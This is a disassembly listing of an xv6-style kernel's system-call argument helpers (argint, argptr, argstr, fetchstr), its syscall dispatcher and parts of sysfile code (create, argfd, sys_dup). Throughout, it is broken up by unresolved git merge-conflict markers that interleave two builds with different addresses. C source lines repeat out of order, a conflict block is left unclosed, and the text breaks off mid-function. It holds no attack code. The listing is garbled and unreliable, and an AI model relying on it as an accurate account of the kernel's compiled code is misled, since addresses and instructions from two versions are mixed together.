>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
}
<<<<<<< HEAD
80104a6d: 5d pop %ebp
80104a6e: c3 ret
80104a6f: 90 nop
80104a70 <argptr>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80104a70: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104a76: 55 push %ebp
80104a77: 89 e5 mov %esp,%ebp
80104a79: 56 push %esi
80104a7a: 53 push %ebx
=======
8010480d: 5d pop %ebp
8010480e: c3 ret
8010480f: 90 nop
80104810 <argptr>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104a7b: 8b 48 18 mov 0x18(%eax),%ecx
80104a7e: 8b 5d 08 mov 0x8(%ebp),%ebx
=======
80104810: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
<<<<<<< HEAD
80104a81: 8b 55 10 mov 0x10(%ebp),%edx
=======
80104816: 55 push %ebp
80104817: 89 e5 mov %esp,%ebp
80104819: 53 push %ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104a84: 8b 49 44 mov 0x44(%ecx),%ecx
80104a87: 8d 1c 99 lea (%ecx,%ebx,4),%ebx
=======
8010481a: 8b 4d 08 mov 0x8(%ebp),%ecx
8010481d: 8b 50 18 mov 0x18(%eax),%edx
80104820: 8b 52 44 mov 0x44(%edx),%edx
80104823: 8d 0c 8a lea (%edx,%ecx,4),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104a8a: 8b 08 mov (%eax),%ecx
=======
80104826: 8b 10 mov (%eax),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
argptr(int n, char **pp, int size)
{
int i;
if(argint(n, &i) < 0)
return -1;
<<<<<<< HEAD
80104a8c: b8 ff ff ff ff mov $0xffffffff,%eax
=======
80104828: b8 ff ff ff ff mov $0xffffffff,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104a91: 8d 73 04 lea 0x4(%ebx),%esi
=======
8010482d: 8d 59 04 lea 0x4(%ecx),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104a94: 39 ce cmp %ecx,%esi
80104a96: 73 1f jae 80104ab7 <argptr+0x47>
80104a98: 8d 73 08 lea 0x8(%ebx),%esi
80104a9b: 39 f1 cmp %esi,%ecx
80104a9d: 72 18 jb 80104ab7 <argptr+0x47>
=======
80104830: 39 d3 cmp %edx,%ebx
80104832: 73 25 jae 80104859 <argptr+0x49>
80104834: 8d 59 08 lea 0x8(%ecx),%ebx
80104837: 39 da cmp %ebx,%edx
80104839: 72 1e jb 80104859 <argptr+0x49>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i;
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
<<<<<<< HEAD
80104a9f: 85 d2 test %edx,%edx
=======
8010483b: 8b 5d 10 mov 0x10(%ebp),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
*ip = *(int*)(addr);
<<<<<<< HEAD
80104aa1: 8b 5b 04 mov 0x4(%ebx),%ebx
=======
8010483e: 8b 49 04 mov 0x4(%ecx),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i;
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
<<<<<<< HEAD
80104aa4: 78 11 js 80104ab7 <argptr+0x47>
80104aa6: 39 cb cmp %ecx,%ebx
80104aa8: 73 0d jae 80104ab7 <argptr+0x47>
80104aaa: 01 da add %ebx,%edx
80104aac: 39 ca cmp %ecx,%edx
80104aae: 77 07 ja 80104ab7 <argptr+0x47>
return -1;
*pp = (char*)i;
80104ab0: 8b 45 0c mov 0xc(%ebp),%eax
80104ab3: 89 18 mov %ebx,(%eax)
return 0;
80104ab5: 31 c0 xor %eax,%eax
}
80104ab7: 5b pop %ebx
80104ab8: 5e pop %esi
80104ab9: 5d pop %ebp
80104aba: c3 ret
80104abb: 90 nop
80104abc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104ac0 <argstr>:
=======
80104841: 85 db test %ebx,%ebx
80104843: 78 14 js 80104859 <argptr+0x49>
80104845: 39 d1 cmp %edx,%ecx
80104847: 73 10 jae 80104859 <argptr+0x49>
80104849: 8b 5d 10 mov 0x10(%ebp),%ebx
8010484c: 01 cb add %ecx,%ebx
8010484e: 39 d3 cmp %edx,%ebx
80104850: 77 07 ja 80104859 <argptr+0x49>
return -1;
*pp = (char*)i;
80104852: 8b 45 0c mov 0xc(%ebp),%eax
80104855: 89 08 mov %ecx,(%eax)
return 0;
80104857: 31 c0 xor %eax,%eax
}
80104859: 5b pop %ebx
8010485a: 5d pop %ebp
8010485b: c3 ret
8010485c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104860 <argstr>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104ac0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
=======
80104860: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
<<<<<<< HEAD
80104ac6: 55 push %ebp
80104ac7: 89 e5 mov %esp,%ebp
=======
80104866: 55 push %ebp
80104867: 89 e5 mov %esp,%ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104ac9: 8b 50 18 mov 0x18(%eax),%edx
80104acc: 8b 4d 08 mov 0x8(%ebp),%ecx
=======
80104869: 8b 4d 08 mov 0x8(%ebp),%ecx
8010486c: 8b 50 18 mov 0x18(%eax),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104acf: 8b 00 mov (%eax),%eax
=======
8010486f: 8b 00 mov (%eax),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
<<<<<<< HEAD
80104ad1: 8b 52 44 mov 0x44(%edx),%edx
80104ad4: 8d 14 8a lea (%edx,%ecx,4),%edx
80104ad7: 8d 4a 04 lea 0x4(%edx),%ecx
=======
80104871: 8b 52 44 mov 0x44(%edx),%edx
80104874: 8d 14 8a lea (%edx,%ecx,4),%edx
80104877: 8d 4a 04 lea 0x4(%edx),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
<<<<<<< HEAD
80104ada: 39 c1 cmp %eax,%ecx
80104adc: 73 07 jae 80104ae5 <argstr+0x25>
80104ade: 8d 4a 08 lea 0x8(%edx),%ecx
80104ae1: 39 c8 cmp %ecx,%eax
80104ae3: 73 0b jae 80104af0 <argstr+0x30>
=======
8010487a: 39 c1 cmp %eax,%ecx
8010487c: 73 07 jae 80104885 <argstr+0x25>
8010487e: 8d 4a 08 lea 0x8(%edx),%ecx
80104881: 39 c8 cmp %ecx,%eax
80104883: 73 0b jae 80104890 <argstr+0x30>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
argstr(int n, char **pp)
{
int addr;
if(argint(n, &addr) < 0)
return -1;
<<<<<<< HEAD
80104ae5: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchstr(addr, pp);
}
80104aea: 5d pop %ebp
80104aeb: c3 ret
80104aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80104885: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchstr(addr, pp);
}
8010488a: 5d pop %ebp
8010488b: c3 ret
8010488c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
*ip = *(int*)(addr);
<<<<<<< HEAD
80104af0: 8b 4a 04 mov 0x4(%edx),%ecx
=======
80104890: 8b 4a 04 mov 0x4(%edx),%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
<<<<<<< HEAD
80104af3: 39 c1 cmp %eax,%ecx
80104af5: 73 ee jae 80104ae5 <argstr+0x25>
return -1;
*pp = (char*)addr;
80104af7: 8b 55 0c mov 0xc(%ebp),%edx
80104afa: 89 c8 mov %ecx,%eax
80104afc: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
80104afe: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104b05: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
80104b07: 39 d1 cmp %edx,%ecx
80104b09: 73 da jae 80104ae5 <argstr+0x25>
if(*s == 0)
80104b0b: 80 39 00 cmpb $0x0,(%ecx)
80104b0e: 75 0d jne 80104b1d <argstr+0x5d>
80104b10: eb 1e jmp 80104b30 <argstr+0x70>
80104b12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104b18: 80 38 00 cmpb $0x0,(%eax)
80104b1b: 74 13 je 80104b30 <argstr+0x70>
=======
80104893: 39 c1 cmp %eax,%ecx
80104895: 73 ee jae 80104885 <argstr+0x25>
return -1;
*pp = (char*)addr;
80104897: 8b 55 0c mov 0xc(%ebp),%edx
8010489a: 89 c8 mov %ecx,%eax
8010489c: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
8010489e: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801048a5: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
801048a7: 39 d1 cmp %edx,%ecx
801048a9: 73 da jae 80104885 <argstr+0x25>
if(*s == 0)
801048ab: 80 39 00 cmpb $0x0,(%ecx)
801048ae: 75 12 jne 801048c2 <argstr+0x62>
801048b0: eb 1e jmp 801048d0 <argstr+0x70>
801048b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048b8: 80 38 00 cmpb $0x0,(%eax)
801048bb: 90 nop
801048bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801048c0: 74 0e je 801048d0 <argstr+0x70>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
<<<<<<< HEAD
80104b1d: 83 c0 01 add $0x1,%eax
80104b20: 39 c2 cmp %eax,%edx
80104b22: 77 f4 ja 80104b18 <argstr+0x58>
80104b24: eb bf jmp 80104ae5 <argstr+0x25>
80104b26: 8d 76 00 lea 0x0(%esi),%esi
80104b29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(*s == 0)
return s - *pp;
80104b30: 29 c8 sub %ecx,%eax
=======
801048c2: 83 c0 01 add $0x1,%eax
801048c5: 39 c2 cmp %eax,%edx
801048c7: 77 ef ja 801048b8 <argstr+0x58>
801048c9: eb ba jmp 80104885 <argstr+0x25>
801048cb: 90 nop
801048cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(*s == 0)
return s - *pp;
801048d0: 29 c8 sub %ecx,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int addr;
if(argint(n, &addr) < 0)
return -1;
return fetchstr(addr, pp);
}
<<<<<<< HEAD
80104b32: 5d pop %ebp
80104b33: c3 ret
80104b34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104b3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104b40 <syscall>:
=======
801048d2: 5d pop %ebp
801048d3: c3 ret
801048d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801048e0 <syscall>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
[SYS_setseed] sys_setseed,
};
void
syscall(void)
{
<<<<<<< HEAD
80104b40: 55 push %ebp
80104b41: 89 e5 mov %esp,%ebp
80104b43: 53 push %ebx
80104b44: 83 ec 04 sub $0x4,%esp
int num;
num = proc->tf->eax;
80104b47: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104b4e: 8b 5a 18 mov 0x18(%edx),%ebx
80104b51: 8b 43 1c mov 0x1c(%ebx),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104b54: 8d 48 ff lea -0x1(%eax),%ecx
80104b57: 83 f9 18 cmp $0x18,%ecx
80104b5a: 77 1c ja 80104b78 <syscall+0x38>
80104b5c: 8b 0c 85 40 7a 10 80 mov -0x7fef85c0(,%eax,4),%ecx
80104b63: 85 c9 test %ecx,%ecx
80104b65: 74 11 je 80104b78 <syscall+0x38>
proc->tf->eax = syscalls[num]();
80104b67: ff d1 call *%ecx
80104b69: 89 43 1c mov %eax,0x1c(%ebx)
=======
801048e0: 55 push %ebp
801048e1: 89 e5 mov %esp,%ebp
801048e3: 53 push %ebx
801048e4: 83 ec 14 sub $0x14,%esp
int num;
num = proc->tf->eax;
801048e7: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801048ee: 8b 5a 18 mov 0x18(%edx),%ebx
801048f1: 8b 43 1c mov 0x1c(%ebx),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
801048f4: 8d 48 ff lea -0x1(%eax),%ecx
801048f7: 83 f9 18 cmp $0x18,%ecx
801048fa: 77 1c ja 80104918 <syscall+0x38>
801048fc: 8b 0c 85 e0 77 10 80 mov -0x7fef8820(,%eax,4),%ecx
80104903: 85 c9 test %ecx,%ecx
80104905: 74 11 je 80104918 <syscall+0x38>
proc->tf->eax = syscalls[num]();
80104907: ff d1 call *%ecx
80104909: 89 43 1c mov %eax,0x1c(%ebx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
proc->tf->eax = -1;
}
}
<<<<<<< HEAD
80104b6c: 8b 5d fc mov -0x4(%ebp),%ebx
80104b6f: c9 leave
80104b70: c3 ret
80104b71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010490c: 83 c4 14 add $0x14,%esp
8010490f: 5b pop %ebx
80104910: 5d pop %ebp
80104911: c3 ret
80104912: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
<<<<<<< HEAD
80104b78: 50 push %eax
proc->pid, proc->name, num);
80104b79: 8d 42 6c lea 0x6c(%edx),%eax
=======
80104918: 89 44 24 0c mov %eax,0xc(%esp)
proc->pid, proc->name, num);
8010491c: 8d 42 6c lea 0x6c(%edx),%eax
8010491f: 89 44 24 08 mov %eax,0x8(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
<<<<<<< HEAD
80104b7c: 50 push %eax
80104b7d: ff 72 10 pushl 0x10(%edx)
80104b80: 68 21 7a 10 80 push $0x80107a21
80104b85: e8 d6 ba ff ff call 80100660 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
80104b8a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b90: 83 c4 10 add $0x10,%esp
80104b93: 8b 40 18 mov 0x18(%eax),%eax
80104b96: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80104b9d: 8b 5d fc mov -0x4(%ebp),%ebx
80104ba0: c9 leave
80104ba1: c3 ret
80104ba2: 66 90 xchg %ax,%ax
80104ba4: 66 90 xchg %ax,%ax
80104ba6: 66 90 xchg %ax,%ax
80104ba8: 66 90 xchg %ax,%ax
80104baa: 66 90 xchg %ax,%ax
80104bac: 66 90 xchg %ax,%ax
80104bae: 66 90 xchg %ax,%ax
80104bb0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
80104bb0: 55 push %ebp
80104bb1: 89 e5 mov %esp,%ebp
80104bb3: 57 push %edi
80104bb4: 56 push %esi
80104bb5: 53 push %ebx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80104bb6: 8d 75 da lea -0x26(%ebp),%esi
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
80104bb9: 83 ec 44 sub $0x44,%esp
80104bbc: 89 4d c0 mov %ecx,-0x40(%ebp)
80104bbf: 8b 4d 08 mov 0x8(%ebp),%ecx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80104bc2: 56 push %esi
80104bc3: 50 push %eax
return -1;
=======
80104923: 8b 42 10 mov 0x10(%edx),%eax
80104926: c7 04 24 b1 77 10 80 movl $0x801077b1,(%esp)
8010492d: 89 44 24 04 mov %eax,0x4(%esp)
80104931: e8 1a bd ff ff call 80100650 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
80104936: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010493c: 8b 40 18 mov 0x18(%eax),%eax
8010493f: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80104946: 83 c4 14 add $0x14,%esp
80104949: 5b pop %ebx
8010494a: 5d pop %ebp
8010494b: c3 ret
8010494c: 66 90 xchg %ax,%ax
8010494e: 66 90 xchg %ax,%ax
80104950 <create>:
80104950: 55 push %ebp
80104951: 89 e5 mov %esp,%ebp
80104953: 57 push %edi
80104954: 56 push %esi
80104955: 53 push %ebx
80104956: 8d 75 da lea -0x26(%ebp),%esi
80104959: 83 ec 44 sub $0x44,%esp
8010495c: 89 4d c0 mov %ecx,-0x40(%ebp)
8010495f: 8b 4d 08 mov 0x8(%ebp),%ecx
80104962: 56 push %esi
80104963: 50 push %eax
80104964: 89 55 c4 mov %edx,-0x3c(%ebp)
80104967: 89 4d bc mov %ecx,-0x44(%ebp)
8010496a: e8 91 d5 ff ff call 80101f00 <nameiparent>
8010496f: 83 c4 10 add $0x10,%esp
80104972: 85 c0 test %eax,%eax
80104974: 0f 84 f6 00 00 00 je 80104a70 <create+0x120>
8010497a: 83 ec 0c sub $0xc,%esp
8010497d: 89 c7 mov %eax,%edi
8010497f: 50 push %eax
80104980: e8 2b cd ff ff call 801016b0 <ilock>
80104985: 8d 45 d4 lea -0x2c(%ebp),%eax
80104988: 83 c4 0c add $0xc,%esp
8010498b: 50 push %eax
8010498c: 56 push %esi
8010498d: 57 push %edi
8010498e: e8 0d d2 ff ff call 80101ba0 <dirlookup>
80104993: 83 c4 10 add $0x10,%esp
80104996: 85 c0 test %eax,%eax
80104998: 89 c3 mov %eax,%ebx
8010499a: 74 54 je 801049f0 <create+0xa0>
8010499c: 83 ec 0c sub $0xc,%esp
8010499f: 57 push %edi
801049a0: e8 4b cf ff ff call 801018f0 <iunlockput>
801049a5: 89 1c 24 mov %ebx,(%esp)
801049a8: e8 03 cd ff ff call 801016b0 <ilock>
801049ad: 83 c4 10 add $0x10,%esp
801049b0: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
801049b5: 75 19 jne 801049d0 <create+0x80>
801049b7: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx)
801049bc: 89 d8 mov %ebx,%eax
801049be: 75 10 jne 801049d0 <create+0x80>
801049c0: 8d 65 f4 lea -0xc(%ebp),%esp
801049c3: 5b pop %ebx
801049c4: 5e pop %esi
801049c5: 5f pop %edi
801049c6: 5d pop %ebp
801049c7: c3 ret
801049c8: 90 nop
801049c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801049d0: 83 ec 0c sub $0xc,%esp
801049d3: 53 push %ebx
801049d4: e8 17 cf ff ff call 801018f0 <iunlockput>
801049d9: 83 c4 10 add $0x10,%esp
801049dc: 8d 65 f4 lea -0xc(%ebp),%esp
801049df: 31 c0 xor %eax,%eax
801049e1: 5b pop %ebx
801049e2: 5e pop %esi
801049e3: 5f pop %edi
801049e4: 5d pop %ebp
801049e5: c3 ret
801049e6: 8d 76 00 lea 0x0(%esi),%esi
801049e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801049f0: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
801049f4: 83 ec 08 sub $0x8,%esp
801049f7: 50 push %eax
801049f8: ff 37 pushl (%edi)
801049fa: e8 21 cb ff ff call 80101520 <ialloc>
801049ff: 83 c4 10 add $0x10,%esp
80104a02: 85 c0 test %eax,%eax
80104a04: 89 c3 mov %eax,%ebx
80104a06: 0f 84 cc 00 00 00 je 80104ad8 <create+0x188>
80104a0c: 83 ec 0c sub $0xc,%esp
80104a0f: 50 push %eax
80104a10: e8 9b cc ff ff call 801016b0 <ilock>
80104a15: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104a19: 66 89 43 52 mov %ax,0x52(%ebx)
80104a1d: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104a21: 66 89 43 54 mov %ax,0x54(%ebx)
80104a25: b8 01 00 00 00 mov $0x1,%eax
80104a2a: 66 89 43 56 mov %ax,0x56(%ebx)
80104a2e: 89 1c 24 mov %ebx,(%esp)
80104a31: e8 ba cb ff ff call 801015f0 <iupdate>
80104a36: 83 c4 10 add $0x10,%esp
80104a39: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
80104a3e: 74 40 je 80104a80 <create+0x130>
80104a40: 83 ec 04 sub $0x4,%esp
80104a43: ff 73 04 pushl 0x4(%ebx)
80104a46: 56 push %esi
80104a47: 57 push %edi
80104a48: e8 b3 d3 ff ff call 80101e00 <dirlink>
80104a4d: 83 c4 10 add $0x10,%esp
80104a50: 85 c0 test %eax,%eax
80104a52: 78 77 js 80104acb <create+0x17b>
80104a54: 83 ec 0c sub $0xc,%esp
80104a57: 57 push %edi
80104a58: e8 93 ce ff ff call 801018f0 <iunlockput>
80104a5d: 83 c4 10 add $0x10,%esp
80104a60: 8d 65 f4 lea -0xc(%ebp),%esp
80104a63: 89 d8 mov %ebx,%eax
80104a65: 5b pop %ebx
80104a66: 5e pop %esi
80104a67: 5f pop %edi
80104a68: 5d pop %ebp
80104a69: c3 ret
80104a6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104a70: 31 c0 xor %eax,%eax
80104a72: e9 49 ff ff ff jmp 801049c0 <create+0x70>
80104a77: 89 f6 mov %esi,%esi
80104a79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a80: 66 83 47 56 01 addw $0x1,0x56(%edi)
80104a85: 83 ec 0c sub $0xc,%esp
80104a88: 57 push %edi
80104a89: e8 62 cb ff ff call 801015f0 <iupdate>
80104a8e: 83 c4 0c add $0xc,%esp
80104a91: ff 73 04 pushl 0x4(%ebx)
80104a94: 68 64 78 10 80 push $0x80107864
80104a99: 53 push %ebx
80104a9a: e8 61 d3 ff ff call 80101e00 <dirlink>
80104a9f: 83 c4 10 add $0x10,%esp
80104aa2: 85 c0 test %eax,%eax
80104aa4: 78 18 js 80104abe <create+0x16e>
80104aa6: 83 ec 04 sub $0x4,%esp
80104aa9: ff 77 04 pushl 0x4(%edi)
80104aac: 68 63 78 10 80 push $0x80107863
80104ab1: 53 push %ebx
80104ab2: e8 49 d3 ff ff call 80101e00 <dirlink>
80104ab7: 83 c4 10 add $0x10,%esp
80104aba: 85 c0 test %eax,%eax
80104abc: 79 82 jns 80104a40 <create+0xf0>
80104abe: 83 ec 0c sub $0xc,%esp
80104ac1: 68 57 78 10 80 push $0x80107857
80104ac6: e8 95 b8 ff ff call 80100360 <panic>
80104acb: 83 ec 0c sub $0xc,%esp
80104ace: 68 66 78 10 80 push $0x80107866
80104ad3: e8 88 b8 ff ff call 80100360 <panic>
80104ad8: 83 ec 0c sub $0xc,%esp
80104adb: 68 48 78 10 80 push $0x80107848
80104ae0: e8 7b b8 ff ff call 80100360 <panic>
80104ae5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104af0 <argfd.constprop.0>:
80104af0: 55 push %ebp
80104af1: 89 e5 mov %esp,%ebp
80104af3: 56 push %esi
80104af4: 53 push %ebx
80104af5: 89 c6 mov %eax,%esi
80104af7: 8d 45 f4 lea -0xc(%ebp),%eax
80104afa: 89 d3 mov %edx,%ebx
80104afc: 83 ec 18 sub $0x18,%esp
80104aff: 50 push %eax
80104b00: 6a 00 push $0x0
80104b02: e8 c9 fc ff ff call 801047d0 <argint>
80104b07: 83 c4 10 add $0x10,%esp
80104b0a: 85 c0 test %eax,%eax
80104b0c: 78 3a js 80104b48 <argfd.constprop.0+0x58>
80104b0e: 8b 45 f4 mov -0xc(%ebp),%eax
80104b11: 83 f8 0f cmp $0xf,%eax
80104b14: 77 32 ja 80104b48 <argfd.constprop.0+0x58>
80104b16: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104b1d: 8b 54 82 28 mov 0x28(%edx,%eax,4),%edx
80104b21: 85 d2 test %edx,%edx
80104b23: 74 23 je 80104b48 <argfd.constprop.0+0x58>
80104b25: 85 f6 test %esi,%esi
80104b27: 74 02 je 80104b2b <argfd.constprop.0+0x3b>
80104b29: 89 06 mov %eax,(%esi)
80104b2b: 85 db test %ebx,%ebx
80104b2d: 74 11 je 80104b40 <argfd.constprop.0+0x50>
80104b2f: 89 13 mov %edx,(%ebx)
80104b31: 31 c0 xor %eax,%eax
80104b33: 8d 65 f8 lea -0x8(%ebp),%esp
80104b36: 5b pop %ebx
80104b37: 5e pop %esi
80104b38: 5d pop %ebp
80104b39: c3 ret
80104b3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104b40: 31 c0 xor %eax,%eax
80104b42: eb ef jmp 80104b33 <argfd.constprop.0+0x43>
80104b44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104b48: b8 ff ff ff ff mov $0xffffffff,%eax
80104b4d: eb e4 jmp 80104b33 <argfd.constprop.0+0x43>
80104b4f: 90 nop
80104b50 <sys_dup>:
80104b50: 55 push %ebp
80104b51: 31 c0 xor %eax,%eax
80104b53: 89 e5 mov %esp,%ebp
80104b55: 53 push %ebx
80104b56: 8d 55 f4 lea -0xc(%ebp),%edx
80104b59: 83 ec 14 sub $0x14,%esp
80104b5c: e8 8f ff ff ff call 80104af0 <argfd.constprop.0>
80104b61: 85 c0 test %eax,%eax
80104b63: 78 1b js 80104b80 <sys_dup+0x30>
80104b65: 8b 55 f4 mov -0xc(%ebp),%edx
80104b68: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b6e: 31 db xor %ebx,%ebx
80104b70: 8b 4c 98 28 mov 0x28(%eax,%ebx,4),%ecx
80104b74: 85 c9 test %ecx,%ecx
80104b76: 74 18 je 80104b90 <sys_dup+0x40>
80104b78: 83 c3 01 add $0x1,%ebx
80104b7b: 83 fb 10 cmp $0x10,%ebx
80104b7e: 75 f0 jne 80104b70 <sys_dup+0x20>
80104b80: b8 ff ff ff ff mov $0xffffffff,%eax
80104b85: 8b 5d fc mov -0x4(%ebp),%ebx
80104b88: c9 leave
80104b89: c3 ret
80104b8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104b90: 83 ec 0c sub $0xc,%esp
80104b93: 89 54 98 28 mov %edx,0x28(%eax,%ebx,4)
80104b97: 52 push %edx
